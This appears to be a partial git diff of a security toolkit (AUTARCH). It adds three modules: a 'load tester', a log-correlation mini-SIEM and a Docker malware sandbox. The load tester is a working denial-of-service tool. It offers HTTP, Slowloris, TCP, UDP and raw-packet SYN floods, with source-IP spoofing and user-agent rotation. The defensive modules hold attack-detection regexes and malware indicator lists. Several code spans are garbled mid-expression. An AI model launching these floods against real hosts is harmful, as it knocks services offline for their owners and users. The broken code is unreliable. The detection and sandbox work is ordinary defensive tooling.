self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + src_port = random.randint(1024, 65535) + packet = self._build_syn_packet(src_ip, dst_ip, src_port, port) + sock.sendto(packet, (dst_ip, 0)) + + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.bytes_sent = len(packet) + result.success = True + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + sock.close() + + +# Singleton +_load_tester: Optional[LoadTester] = None + + +def get_load_tester() -> LoadTester: + global _load_tester + if _load_tester is None: + _load_tester = LoadTester() + return _load_tester + + +def _clear(): + import os + os.system('cls' if os.name == 'nt' else 'clear') + + +def _format_bytes(b: int) -> str: + if b < 1024: + return f"{b} B" + elif b < 1024 * 1024: + return f"{b / 1024:.1f} KB" + elif b < 1024 * 1024 * 1024: + return f"{b / (1024 * 1024):.1f} MB" + return f"{b / (1024 * 1024 * 1024):.2f} GB" + + +def run(): + """Interactive CLI for the load testing module.""" + from core.banner import Colors + + tester = get_load_tester() + + while True: + _clear() + print(f"\n{Colors.RED} ╔══════════════════════════════════════╗{Colors.RESET}") + print(f"{Colors.RED} ║ AUTARCH Load Tester ║{Colors.RESET}") + print(f"{Colors.RED} ╚══════════════════════════════════════╝{Colors.RESET}") + print() + + if tester.running: + m = tester.metrics + print(f" {Colors.GREEN}● TEST RUNNING{Colors.RESET} Workers: {m.active_workers} Elapsed: {m.elapsed:.0f}s") + print(f" {Colors.CYAN}RPS: {m.rps:.1f} Total: {m.total_requests} OK: {m.successful} Fail: {m.failed}{Colors.RESET}") + print(f" {Colors.DIM}Avg: {m.avg_latency:.1f}ms P95: {m.p95_latency:.1f}ms P99: {m.p99_latency:.1f}ms{Colors.RESET}") + print(f" {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)} Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}") + print() + print(f" {Colors.WHITE}1{Colors.RESET} — View live metrics") + print(f" {Colors.WHITE}2{Colors.RESET} — Pause / Resume") + print(f" {Colors.WHITE}3{Colors.RESET} — Stop test") + print(f" {Colors.WHITE}0{Colors.RESET} — Back (test continues)") + else: + print(f" {Colors.WHITE}1{Colors.RESET} — HTTP Flood") + print(f" {Colors.WHITE}2{Colors.RESET} — Slowloris") + print(f" {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood") + print(f" {Colors.WHITE}4{Colors.RESET} — UDP Flood") + print(f" {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)") + print(f" {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)") + print(f" {Colors.WHITE}0{Colors.RESET} — Back") + + print() + try: + choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip() + except (EOFError, KeyboardInterrupt): + break + + if choice == '0' or not choice: + break + + if tester.running: + if choice == '1': + _show_live_metrics(tester) + elif choice == '2': + if tester._pause_event.is_set(): + tester.pause() + print(f"\n {Colors.YELLOW}[!] Test paused{Colors.RESET}") + else: + tester.resume() + print(f"\n {Colors.GREEN}[+] Test resumed{Colors.RESET}") + time.sleep(1) + elif choice == '3': + tester.stop() + _show_final_report(tester) + else: + if choice == '1': + _configure_and_run(tester, 'http_flood') + elif choice == '2': + _configure_and_run(tester, 'slowloris') + elif choice == '3': + _configure_and_run(tester, 'tcp_connect') + elif choice == '4': + _configure_and_run(tester, 'udp_flood') + elif choice == '5': + _configure_and_run(tester, 'syn_flood') + elif choice == '6': + _quick_test(tester) + + +def _configure_and_run(tester: LoadTester, attack_type: str): + """Interactive configuration and launch.""" + from core.banner import Colors + + print(f"\n{Colors.BOLD} Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}\n") + + src_ip = '' + try: + if attack_type == 'http_flood': + target = input(f" Target URL: ").strip() + if not target: + return + if not target.startswith('http'): + target = 'http://' + target + method = input(f" Method [GET]: ").strip().upper() or 'GET' + body = '' + if method in ('POST', 'PUT'): + body = input(f" Body: ").strip() + elif attack_type == 'syn_flood': + print(f" {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}") + target = input(f" Target (host:port): ").strip() + if not target: + return + src_ip = input(f" Source IP (blank=auto): ").strip() + method = '' + body = '' + elif attack_type in ('tcp_connect', 'udp_flood'): + target = input(f" Target (host:port): ").strip() + if not target: + return + method = '' + body = '' + elif attack_type == 'slowloris': + target = input(f" Target URL or host:port: ").strip() + if not target: + return + if not target.startswith('http') and ':' not in target: + target = 'http://' + target + method = '' + body = '' + else: + target = input(f" Target: ").strip() + if not target: + return + method = '' + body = '' + + workers_s = input(f" Workers [10]: ").strip() + workers = int(workers_s) if workers_s else 10 + + duration_s = input(f" Duration in seconds [30]: ").strip() + duration = int(duration_s) if duration_s else 30 + + ramp_s = input(f" Ramp pattern (constant/linear/step/spike) [constant]: ").strip() + ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant' + + rate_s = input(f" Rate limit (req/s, 0=unlimited) [0]: ").strip() + rate_limit = int(rate_s) if rate_s else 0 + + config = { + 'target': target, + 'attack_type': attack_type, + 'workers': workers, + 'duration': duration, + 'method': method, + 'body': body, + 'ramp_pattern': ramp, + 'rate_limit': rate_limit, + 'timeout': 10, + 'rotate_useragent': True, + 'verify_ssl': False, + 'follow_redirects': True, + 'payload_size': 1024, + 'source_ip': src_ip if attack_type == 'syn_flood' else '', + } + + print(f"\n {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}") + print(f" {Colors.DIM}Workers: {workers} Duration: {duration}s Ramp: {ramp}{Colors.RESET}") + confirm = input(f"\n {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower() + if confirm == 'n': + return + + tester.start(config) + _show_live_metrics(tester) + + except (ValueError, EOFError, KeyboardInterrupt): + print(f"\n {Colors.YELLOW}[!] Cancelled{Colors.RESET}") + time.sleep(1) + + +def _quick_test(tester: LoadTester): + """Quick HTTP GET test with defaults.""" + from core.banner import Colors + + try: + target = input(f"\n Target URL: ").strip() + if not target: + return + if not target.startswith('http'): + target = 'http://' + target + + config = { + 'target': target, + 'attack_type': 'http_flood', + 'workers': 10, + 'duration': 10, + 'method': 'GET', + 'body': '', + 'ramp_pattern': 'constant', + 'rate_limit': 0, + 'timeout': 10, + 'rotate_useragent': True, + 'verify_ssl': False, + 'follow_redirects': True, + } + + print(f"\n {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}") + tester.start(config) + _show_live_metrics(tester) + + except (EOFError, KeyboardInterrupt): + pass + + +def _show_live_metrics(tester: LoadTester): + """Display live-updating metrics in the terminal.""" + from core.banner import Colors + import sys + + print(f"\n {Colors.GREEN}● LIVE METRICS {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n") + + try: + while tester.running: + m = tester.metrics + rps_bar = '█' * min(int(m.rps / 10), 40) + + sys.stdout.write('\033[2K\r') # Clear line + sys.stdout.write( + f" {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} " + f"{Colors.DIM}{rps_bar}{Colors.RESET} " + f"Total: {m.total_requests:>8} " + f"{Colors.GREEN}OK: {m.successful}{Colors.RESET} " + f"{Colors.RED}Fail: {m.failed}{Colors.RESET} " + f"Avg: {m.avg_latency:.0f}ms " + f"P95: {m.p95_latency:.0f}ms " + f"Workers: {m.active_workers}" + ) + sys.stdout.flush() + time.sleep(0.5) + except KeyboardInterrupt: + pass + + print() + if not tester.running: + _show_final_report(tester) + + +def _show_final_report(tester: LoadTester): + """Display final test results.""" + from core.banner import Colors + + m = tester.metrics + print(f"\n{Colors.BOLD} ─── Test Complete ───{Colors.RESET}\n") + print(f" Total Requests: {m.total_requests}") + print(f" Successful: {Colors.GREEN}{m.successful}{Colors.RESET}") + print(f" Failed: {Colors.RED}{m.failed}{Colors.RESET}") + print(f" Duration: {m.elapsed:.1f}s") + print(f" Avg RPS: {m.rps:.1f}") + print(f" Data Sent: {_format_bytes(m.bytes_sent)}") + print(f" Data Received: {_format_bytes(m.bytes_received)}") + print() + print(f" {Colors.CYAN}Latency:{Colors.RESET}") + print(f" Min: {m.min_latency:.1f}ms") + print(f" Avg: {m.avg_latency:.1f}ms") + print(f" P50: {m.p50_latency:.1f}ms") + print(f" P95: {m.p95_latency:.1f}ms") + print(f" P99: {m.p99_latency:.1f}ms") + print(f" Max: {m.max_latency:.1f}ms") + + if m.status_codes: + print(f"\n {Colors.CYAN}Status Codes:{Colors.RESET}") + for code, count in sorted(m.status_codes.items()): + color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED + print(f" {color}{code}{Colors.RESET}: {count}") + + if m.errors: + print(f"\n {Colors.RED}Top Errors:{Colors.RESET}") + for err, count in sorted(m.errors.items(), key=lambda x: -x[1])[:5]: + print(f" {count}× {err}") + + print() + try: + input(f" {Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + pass diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/log_correlator.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/log_correlator.py new file mode 100644 index 0000000..ab10bd1 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/log_correlator.py @@ -0,0 +1,551 @@ +"""AUTARCH Log Correlator + +Syslog ingestion, pattern matching, anomaly detection, alert rules, +timeline correlation, and mini-SIEM functionality. +""" + +DESCRIPTION = "Log correlation & anomaly detection (mini-SIEM)" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +import os +import re +import json +import time +import threading +from pathlib import Path +from datetime import datetime, timezone +from collections import Counter, defaultdict +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── Built-in Detection Rules ──────────────────────────────────────────────── + +DEFAULT_RULES = [ + { + 'id': 'brute_force_ssh', + 'name': 'SSH Brute Force', + 'pattern': r'(Failed password|authentication failure).*ssh', + 'severity': 'high', + 'threshold': 5, + 'window_seconds': 60, + 'description': 'Multiple failed SSH login attempts' + }, + { + 'id': 'brute_force_web', + 'name': 'Web Login Brute Force', + 'pattern': r'(401|403).*POST.*(login|auth|signin)', + 'severity': 'high', + 'threshold': 10, + 'window_seconds': 60, + 'description': 'Multiple failed web login attempts' + }, + { + 'id': 'sql_injection', + 'name': 'SQL Injection Attempt', + 'pattern': r"(UNION\s+SELECT|OR\s+1\s*=\s*1|DROP\s+TABLE|'--|\bSLEEP\()", + 'severity': 'critical', + 'threshold': 1, + 'window_seconds': 0, + 'description': 'SQL injection pattern detected' + }, + { + 'id': 'xss_attempt', + 'name': 'XSS Attempt', + 'pattern': r'( Optional[Dict]: + """Parse a single log line.""" + line = line.strip() + if not line: + return None + + # Try JSON format + if LogParser.JSON_LOG_RE.match(line): + try: + data = json.loads(line) + return { + 'format': 'json', + 'timestamp': data.get('timestamp', data.get('time', data.get('@timestamp', ''))), + 'source': data.get('source', data.get('host', '')), + 'program': data.get('program', data.get('service', data.get('logger', ''))), + 'message': data.get('message', data.get('msg', str(data))), + 'level': data.get('level', data.get('severity', 'info')), + 'raw': line + } + except json.JSONDecodeError: + pass + + # Try syslog format + m = LogParser.SYSLOG_RE.match(line) + if m: + return { + 'format': 'syslog', + 'timestamp': m.group(1), + 'source': m.group(2), + 'program': m.group(3), + 'pid': m.group(4), + 'message': m.group(5), + 'raw': line + } + + # Try Apache/Nginx format + m = LogParser.APACHE_RE.match(line) + if m: + return { + 'format': 'apache', + 'timestamp': m.group(2), + 'source': m.group(1), + 'method': m.group(3), + 'path': m.group(4), + 'status': int(m.group(5)), + 'size': int(m.group(6)), + 'message': line, + 'raw': line + } + + # Generic fallback + return { + 'format': 'unknown', + 'timestamp': '', + 'message': line, + 'raw': line + } + + +# ── Log Correlator Engine ──────────────────────────────────────────────────── + +class LogCorrelator: + """Log correlation and anomaly detection engine.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'log_correlator') + os.makedirs(self.data_dir, exist_ok=True) + + self.rules: List[Dict] = list(DEFAULT_RULES) + self.alerts: List[Dict] = [] + self.logs: List[Dict] = [] + self.sources: Dict[str, Dict] = {} + self._rule_hits: Dict[str, List[float]] = defaultdict(list) + self._lock = threading.Lock() + self._load_custom_rules() + self._load_alerts() + + def _load_custom_rules(self): + rules_file = os.path.join(self.data_dir, 'custom_rules.json') + if os.path.exists(rules_file): + try: + with open(rules_file) as f: + custom = json.load(f) + self.rules.extend(custom) + except Exception: + pass + + def _save_custom_rules(self): + # Only save non-default rules + default_ids = {r['id'] for r in DEFAULT_RULES} + custom = [r for r in self.rules if r['id'] not in default_ids] + rules_file = os.path.join(self.data_dir, 'custom_rules.json') + with open(rules_file, 'w') as f: + json.dump(custom, f, indent=2) + + def _load_alerts(self): + alerts_file = os.path.join(self.data_dir, 'alerts.json') + if os.path.exists(alerts_file): + try: + with open(alerts_file) as f: + self.alerts = json.load(f) + except Exception: + pass + + def _save_alerts(self): + alerts_file = os.path.join(self.data_dir, 'alerts.json') + with open(alerts_file, 'w') as f: + json.dump(self.alerts[-1000:], f, indent=2) + + # ── Log Ingestion ──────────────────────────────────────────────────── + + def ingest_file(self, filepath: str, source_name: str = None) -> Dict: + """Ingest log file for analysis.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + source = source_name or Path(filepath).name + parsed = 0 + alerts_generated = 0 + + try: + with open(filepath, 'r', errors='ignore') as f: + for line in f: + entry = LogParser.parse_line(line) + if entry: + entry['source_file'] = source + self.logs.append(entry) + parsed += 1 + + # Run detection rules + new_alerts = self._check_rules(entry) + alerts_generated += len(new_alerts) + + self.sources[source] = { + 'file': filepath, + 'lines': parsed, + 'ingested': datetime.now(timezone.utc).isoformat() + } + + if alerts_generated: + self._save_alerts() + + return { + 'ok': True, 'source': source, + 'lines_parsed': parsed, + 'alerts_generated': alerts_generated + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def ingest_text(self, text: str, source_name: str = 'paste') -> Dict: + """Ingest log text directly.""" + parsed = 0 + alerts_generated = 0 + + for line in text.strip().splitlines(): + entry = LogParser.parse_line(line) + if entry: + entry['source_file'] = source_name + self.logs.append(entry) + parsed += 1 + new_alerts = self._check_rules(entry) + alerts_generated += len(new_alerts) + + if alerts_generated: + self._save_alerts() + + return { + 'ok': True, 'source': source_name, + 'lines_parsed': parsed, + 'alerts_generated': alerts_generated + } + + # ── Detection ──────────────────────────────────────────────────────── + + def _check_rules(self, entry: Dict) -> List[Dict]: + """Check log entry against detection rules.""" + new_alerts = [] + message = entry.get('message', '') + ' ' + entry.get('raw', '') + now = time.time() + + for rule in self.rules: + try: + if re.search(rule['pattern'], message, re.I): + rule_id = rule['id'] + + # Threshold check + if rule.get('threshold', 1) > 1 and rule.get('window_seconds', 0) > 0: + with self._lock: + self._rule_hits[rule_id].append(now) + # Clean old hits + window = rule['window_seconds'] + self._rule_hits[rule_id] = [ + t for t in self._rule_hits[rule_id] + if now - t <= window + ] + if len(self._rule_hits[rule_id]) < rule['threshold']: + continue + + alert = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'rule_id': rule_id, + 'rule_name': rule['name'], + 'severity': rule['severity'], + 'description': rule['description'], + 'source': entry.get('source_file', ''), + 'log_entry': entry.get('message', '')[:200], + 'raw': entry.get('raw', '')[:300] + } + self.alerts.append(alert) + new_alerts.append(alert) + except re.error: + pass + + return new_alerts + + # ── Rule Management ────────────────────────────────────────────────── + + def add_rule(self, rule_id: str, name: str, pattern: str, + severity: str = 'medium', threshold: int = 1, + window_seconds: int = 0, description: str = '') -> Dict: + """Add custom detection rule.""" + # Validate regex + try: + re.compile(pattern) + except re.error as e: + return {'ok': False, 'error': f'Invalid regex: {e}'} + + rule = { + 'id': rule_id, 'name': name, 'pattern': pattern, + 'severity': severity, 'threshold': threshold, + 'window_seconds': window_seconds, + 'description': description + } + self.rules.append(rule) + self._save_custom_rules() + return {'ok': True, 'rule': rule} + + def remove_rule(self, rule_id: str) -> Dict: + """Remove a custom rule.""" + default_ids = {r['id'] for r in DEFAULT_RULES} + if rule_id in default_ids: + return {'ok': False, 'error': 'Cannot remove built-in rule'} + + before = len(self.rules) + self.rules = [r for r in self.rules if r['id'] != rule_id] + if len(self.rules) < before: + self._save_custom_rules() + return {'ok': True} + return {'ok': False, 'error': 'Rule not found'} + + def get_rules(self) -> List[Dict]: + """List all detection rules.""" + default_ids = {r['id'] for r in DEFAULT_RULES} + return [{**r, 'builtin': r['id'] in default_ids} for r in self.rules] + + # ── Analysis ───────────────────────────────────────────────────────── + + def search_logs(self, query: str, source: str = None, + limit: int = 100) -> List[Dict]: + """Search ingested logs.""" + results = [] + for entry in reversed(self.logs): + if source and entry.get('source_file') != source: + continue + if query.lower() in (entry.get('message', '') + entry.get('raw', '')).lower(): + results.append(entry) + if len(results) >= limit: + break + return results + + def get_stats(self) -> Dict: + """Get correlator statistics.""" + severity_counts = Counter(a['severity'] for a in self.alerts) + rule_counts = Counter(a['rule_id'] for a in self.alerts) + source_counts = Counter(e.get('source_file', '') for e in self.logs) + + return { + 'total_logs': len(self.logs), + 'total_alerts': len(self.alerts), + 'sources': len(self.sources), + 'rules': len(self.rules), + 'alerts_by_severity': dict(severity_counts), + 'top_rules': dict(rule_counts.most_common(10)), + 'top_sources': dict(source_counts.most_common(10)) + } + + def get_alerts(self, severity: str = None, limit: int = 100) -> List[Dict]: + """Get alerts with optional filtering.""" + alerts = self.alerts + if severity: + alerts = [a for a in alerts if a['severity'] == severity] + return alerts[-limit:] + + def clear_alerts(self): + """Clear all alerts.""" + self.alerts.clear() + self._save_alerts() + + def clear_logs(self): + """Clear ingested logs.""" + self.logs.clear() + self.sources.clear() + + def get_sources(self) -> Dict: + """Get ingested log sources.""" + return self.sources + + def get_timeline(self, hours: int = 24) -> List[Dict]: + """Get alert timeline grouped by hour.""" + timeline = defaultdict(lambda: {'count': 0, 'critical': 0, 'high': 0, 'medium': 0, 'low': 0}) + + for alert in self.alerts: + ts = alert.get('timestamp', '')[:13] # YYYY-MM-DDTHH + timeline[ts]['count'] += 1 + sev = alert.get('severity', 'low') + timeline[ts][sev] = timeline[ts].get(sev, 0) + 1 + + return [{'hour': k, **v} for k, v in sorted(timeline.items())[-hours:]] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_log_correlator() -> LogCorrelator: + global _instance + if _instance is None: + _instance = LogCorrelator() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for Log Correlator module.""" + engine = get_log_correlator() + + while True: + stats = engine.get_stats() + print(f"\n{'='*60}") + print(f" Log Correlator ({stats['total_logs']} logs, {stats['total_alerts']} alerts)") + print(f"{'='*60}") + print() + print(" 1 — Ingest Log File") + print(" 2 — Paste Log Text") + print(" 3 — Search Logs") + print(" 4 — View Alerts") + print(" 5 — Manage Rules") + print(" 6 — View Stats") + print(" 7 — Alert Timeline") + print(" 8 — Clear Alerts") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + filepath = input(" Log file path: ").strip() + if filepath: + result = engine.ingest_file(filepath) + if result['ok']: + print(f" Parsed {result['lines_parsed']} lines, " + f"{result['alerts_generated']} alerts generated") + else: + print(f" Error: {result['error']}") + elif choice == '2': + print(" Paste log lines (blank line to finish):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + if lines: + result = engine.ingest_text('\n'.join(lines)) + print(f" Parsed {result['lines_parsed']} lines, " + f"{result['alerts_generated']} alerts") + elif choice == '3': + query = input(" Search query: ").strip() + if query: + results = engine.search_logs(query) + print(f" {len(results)} matches:") + for r in results[:10]: + print(f" [{r.get('source_file', '?')}] {r.get('message', '')[:80]}") + elif choice == '4': + sev = input(" Severity filter (blank=all): ").strip() or None + alerts = engine.get_alerts(severity=sev) + for a in alerts[-15:]: + print(f" [{a['severity']:<8}] {a['rule_name']}: {a['log_entry'][:60]}") + elif choice == '5': + rules = engine.get_rules() + for r in rules: + builtin = ' (built-in)' if r.get('builtin') else '' + print(f" {r['id']}: {r['name']} [{r['severity']}]{builtin}") + elif choice == '6': + print(f" Logs: {stats['total_logs']}") + print(f" Alerts: {stats['total_alerts']}") + print(f" Sources: {stats['sources']}") + print(f" Rules: {stats['rules']}") + if stats['alerts_by_severity']: + print(f" By severity: {stats['alerts_by_severity']}") + elif choice == '7': + timeline = engine.get_timeline() + for t in timeline[-12:]: + bar = '#' * min(t['count'], 40) + print(f" {t['hour']} | {bar} ({t['count']})") + elif choice == '8': + engine.clear_alerts() + print(" Alerts cleared") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/malware_sandbox.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/malware_sandbox.py new file mode 100644 index 0000000..06e9531 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/malware_sandbox.py @@ -0,0 +1,524 @@ +"""AUTARCH Malware Sandbox + +Isolated sample detonation (Docker-based), behavior logging, API call tracing, +network activity monitoring, and file system change tracking. +""" + +DESCRIPTION = "Malware detonation sandbox & analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import shutil +import hashlib +import subprocess +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + + +# ── YARA Rules (basic) ────────────────────────────────────────────────────── + +BASIC_YARA_INDICATORS = { + 'suspicious_imports': [ + b'CreateRemoteThread', b'VirtualAllocEx', b'WriteProcessMemory', + b'NtQueryInformationProcess', b'IsDebuggerPresent', + b'GetProcAddress', b'LoadLibraryA', b'ShellExecuteA', + ], + 'crypto_indicators': [ + b'CryptEncrypt', b'CryptDecrypt', b'BCryptEncrypt', + b'AES', b'RSA', b'BEGIN PUBLIC KEY', + ], + 'network_indicators': [ + b'InternetOpenA', b'HttpOpenRequestA', b'URLDownloadToFile', + b'WSAStartup', b'connect', b'send', b'recv', + b'http://', b'https://', b'ftp://', + ], + 'persistence_indicators': [ + b'CurrentVersion\\Run', b'SOFTWARE\\Microsoft\\Windows\\CurrentVersion', + b'schtasks', b'at.exe', b'HKEY_LOCAL_MACHINE', b'HKEY_CURRENT_USER', + b'crontab', b'/etc/cron', + ], + 'evasion_indicators': [ + b'IsDebuggerPresent', b'CheckRemoteDebuggerPresent', + b'NtSetInformationThread', b'vmware', b'virtualbox', b'vbox', + b'sandbox', b'SbieDll.dll', + ], +} + + +# ── Sandbox Engine ─────────────────────────────────────────────────────────── + +class MalwareSandbox: + """Isolated malware analysis environment.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'sandbox') + os.makedirs(self.data_dir, exist_ok=True) + self.samples_dir = os.path.join(self.data_dir, 'samples') + os.makedirs(self.samples_dir, exist_ok=True) + self.reports_dir = os.path.join(self.data_dir, 'reports') + os.makedirs(self.reports_dir, exist_ok=True) + + self.docker = find_tool('docker') or shutil.which('docker') + self.strace = shutil.which('strace') + self.ltrace = shutil.which('ltrace') + self.file_cmd = shutil.which('file') + self.strings_cmd = find_tool('strings') or shutil.which('strings') + + self.analyses: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + def get_status(self) -> Dict: + """Get sandbox capabilities.""" + docker_ok = False + if self.docker: + try: + result = subprocess.run([self.docker, 'info'], + capture_output=True, timeout=5) + docker_ok = result.returncode == 0 + except Exception: + pass + + return { + 'docker': docker_ok, + 'strace': self.strace is not None, + 'ltrace': self.ltrace is not None, + 'file': self.file_cmd is not None, + 'strings': self.strings_cmd is not None, + 'samples': len(list(Path(self.samples_dir).iterdir())), + 'analyses': len(self.analyses) + } + + # ── Sample Management ──────────────────────────────────────────────── + + def submit_sample(self, filepath: str, name: str = None) -> Dict: + """Submit a sample for analysis.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + # Hash the sample + hashes = {} + with open(filepath, 'rb') as f: + data = f.read() + hashes['md5'] = hashlib.md5(data).hexdigest() + hashes['sha1'] = hashlib.sha1(data).hexdigest() + hashes['sha256'] = hashlib.sha256(data).hexdigest() + + # Copy to samples dir + sample_name = name or Path(filepath).name + safe_name = re.sub(r'[^\w.\-]', '_', sample_name) + dest = os.path.join(self.samples_dir, f'{hashes["sha256"][:16]}_{safe_name}') + shutil.copy2(filepath, dest) + + sample = { + 'name': sample_name, + 'path': dest, + 'size': os.path.getsize(dest), + 'hashes': hashes, + 'submitted': datetime.now(timezone.utc).isoformat() + } + + return {'ok': True, 'sample': sample} + + def list_samples(self) -> List[Dict]: + """List submitted samples.""" + samples = [] + for f in Path(self.samples_dir).iterdir(): + if f.is_file(): + samples.append({ + 'name': f.name, + 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return samples + + # ── Static Analysis ────────────────────────────────────────────────── + + def static_analysis(self, filepath: str) -> Dict: + """Perform static analysis on a sample.""" + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + result = { + 'ok': True, + 'file': filepath, + 'name': Path(filepath).name, + 'size': os.path.getsize(filepath) + } + + # File type identification + if self.file_cmd: + try: + out = subprocess.check_output([self.file_cmd, filepath], + text=True, timeout=10) + result['file_type'] = out.split(':', 1)[-1].strip() + except Exception: + pass + + # Hashes + with open(filepath, 'rb') as f: + data = f.read() + result['hashes'] = { + 'md5': hashlib.md5(data).hexdigest(), + 'sha1': hashlib.sha1(data).hexdigest(), + 'sha256': hashlib.sha256(data).hexdigest() + } + + # Strings extraction + if self.strings_cmd: + try: + out = subprocess.check_output( + [self.strings_cmd, '-n', '6', filepath], + text=True, timeout=30, stderr=subprocess.DEVNULL + ) + strings = out.strip().split('\n') + result['strings_count'] = len(strings) + + # Extract interesting strings + urls = [s for s in strings if re.match(r'https?://', s)] + ips = [s for s in strings if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', s)] + emails = [s for s in strings if re.match(r'[^@]+@[^@]+\.[^@]+', s)] + paths = [s for s in strings if s.startswith('/') or '\\' in s] + + result['interesting_strings'] = { + 'urls': urls[:20], + 'ips': list(set(ips))[:20], + 'emails': list(set(emails))[:10], + 'paths': paths[:20] + } + except Exception: + pass + + # YARA-like signature matching + indicators = {} + for category, patterns in BASIC_YARA_INDICATORS.items(): + matches = [p.decode('utf-8', errors='replace') for p in patterns if p in data] + if matches: + indicators[category] = matches + + result['indicators'] = indicators + result['indicator_count'] = sum(len(v) for v in indicators.values()) + + # PE header analysis + if data[:2] == b'MZ': + result['pe_info'] = self._parse_pe_header(data) + + # ELF header analysis + if data[:4] == b'\x7fELF': + result['elf_info'] = self._parse_elf_header(data) + + # Risk score + score = 0 + if indicators.get('evasion_indicators'): + score += 30 + if indicators.get('persistence_indicators'): + score += 25 + if indicators.get('suspicious_imports'): + score += 20 + if indicators.get('network_indicators'): + score += 15 + if indicators.get('crypto_indicators'): + score += 10 + + result['risk_score'] = min(100, score) + result['risk_level'] = ( + 'critical' if score >= 70 else + 'high' if score >= 50 else + 'medium' if score >= 30 else + 'low' if score >= 10 else + 'clean' + ) + + return result + + def _parse_pe_header(self, data: bytes) -> Dict: + """Basic PE header parsing.""" + info = {'format': 'PE'} + try: + import struct + e_lfanew = struct.unpack_from(' Dict: + """Basic ELF header parsing.""" + info = {'format': 'ELF'} + try: + import struct + ei_class = data[4] + info['bits'] = {1: 32, 2: 64}.get(ei_class, 0) + ei_data = data[5] + info['endian'] = {1: 'little', 2: 'big'}.get(ei_data, 'unknown') + e_type = struct.unpack_from(' str: + """Run sample in Docker sandbox. Returns job_id.""" + if not self.docker: + return '' + + job_id = f'sandbox_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'dynamic', 'status': 'running', + 'result': None, 'started': time.time() + } + + def _run(): + try: + container_name = f'autarch_sandbox_{job_id}' + sample_name = Path(filepath).name + + # Run in isolated container + cmd = [ + self.docker, 'run', '--rm', + '--name', container_name, + '--network', 'none', # No network + '--memory', '256m', # Memory limit + '--cpus', '1', # CPU limit + '--read-only', # Read-only root + '--tmpfs', '/tmp:size=64m', + '-v', f'{os.path.abspath(filepath)}:/sample/{sample_name}:ro', + 'ubuntu:22.04', + 'bash', '-c', f''' + # Log file operations + cp /sample/{sample_name} /tmp/test_sample + chmod +x /tmp/test_sample 2>/dev/null + # Try to run with strace if available + timeout {timeout} strace -f -o /tmp/trace.log /tmp/test_sample 2>/tmp/stderr.log || true + cat /tmp/trace.log 2>/dev/null | head -1000 + echo "---STDERR---" + cat /tmp/stderr.log 2>/dev/null | head -100 + ''' + ] + + result = subprocess.run(cmd, capture_output=True, text=True, + timeout=timeout + 30) + + # Parse strace output + syscalls = {} + files_accessed = [] + network_calls = [] + + for line in result.stdout.split('\n'): + # Count syscalls + sc_match = re.match(r'.*?(\w+)\(', line) + if sc_match: + sc = sc_match.group(1) + syscalls[sc] = syscalls.get(sc, 0) + 1 + + # File access + if 'open(' in line or 'openat(' in line: + f_match = re.search(r'"([^"]+)"', line) + if f_match: + files_accessed.append(f_match.group(1)) + + # Network + if 'connect(' in line or 'socket(' in line: + network_calls.append(line.strip()[:100]) + + self._jobs[job_id]['status'] = 'complete' + self._jobs[job_id]['result'] = { + 'ok': True, + 'syscalls': syscalls, + 'syscall_count': sum(syscalls.values()), + 'files_accessed': list(set(files_accessed))[:50], + 'network_calls': network_calls[:20], + 'exit_code': result.returncode, + 'stderr': 